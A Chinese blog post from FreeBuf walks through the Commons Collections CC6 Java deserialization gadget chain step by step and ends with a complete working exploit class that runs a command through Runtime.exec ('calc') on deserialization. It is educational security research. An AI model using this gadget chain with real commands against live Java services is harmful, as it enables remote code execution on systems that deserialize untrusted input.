freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化-cc6链分析
2023-03-20 23:20:00
所属地 河南省

简介

继续分析CC链了。上一篇文章分析了CC1链,这条链子限制特别多,jdk版本的限制,Commons Collections版本的限制,所以这条链子其实并不是很好用。那么这篇文章主要分析CC6链,这条链子通用,几乎没有一些所谓的版本限制,而且这条链子可以说是结合了CC1链和URLDNS链,学了这两条链子后再分析这条CC6链,就会发现很容易了。注:此篇文章在URLDNS和CC1链分析文章的基础上编写。

CC6链分析

这条链子的利用点还是没有变的,依旧是InvokerTransformer类的transform方法,

1.png

因为执行类Runtime类不能序列化,所以需要配合ChainedTransformer类与反射生成实例执行命令,直接照抄下来。

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

依旧是从后往前找,这里走到了ChainedTransformer类的transform方法。

2.png

这里我们找到LazyMap类的get方法,这里需要满足Map里不能存在指定的key才能进入到if里面。

3.png

这里的key可控,再看该类的构造方法。

4.png

用户可控,这里是protected修饰符,那么就找装饰器函数了。

5.png

老套路了。接着继续找哪个类的什么方法调用了get方法。在TiedMapEntry类的getValue方法中调用,

6.png

它又被本类的hashCode函数调用。

7.png

hashCode?很熟悉了,是URLDNS链的起始函数。那么我们肯定就能猜到入口类就是HashMap了,入口为HashMap的readObject函数,调用hash(key),而今调用任意类的hashCode函数。

8.png

让key赋值为TiedMapEntry类的实例,去调用它的hashCode方法,此时这一整条链就对接上了。所以这一条CC6链大致为

HashMap.readObject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform->Runtime.exec()

问题解决

在我们向HashMap实例put键值对的时候,此时就已经调用了hashCode函数,跟进put方法,

9.png

也会调用hash,进而调用hashCode。所以此时我们需要修改链子上的某个值来切断这条链子。put完后,利用反射再把值修改过来。这也是URLDNS链的老问题了。那么决定修改LazyMap里的值,具体代码实现:

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);

但是此时反序列化并没有弹出计算器。在TiedMapEntry类的hashCode函数下个断点调试一下。

10.png

此时key有值,为aaa,继续跟进,调用get方法。

11.png

满足不了这个if判断,链子就从这断了。那么具体是什么原因呢?还是put的原因,在put执行的时候,也是走了一半的链子,当它走到LazyMap的get方法时

12.png

此时map里面是没有key的,进入到if判断里面后,会把我们传进来的key给put进去,此时map里面就有key了。在反序列化的时候,这里存在key,满足不了if判断就走不下去了。所以在map执行put函数后把我们传进来的key给删掉就好了。到此问题全部解决。完整CC6链EXP:

package cc6.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

HashMap<Object,Object> map2 = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

map2.put(tiedMapEntry,"bbb");
map.remove("aaa");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("web.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
System.out.println("2.反序列化成功");
}
}

日常弹计算器,嘿嘿。

13.png

结语

反序列化之路任重而道远。

# web安全 # java反序列化
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录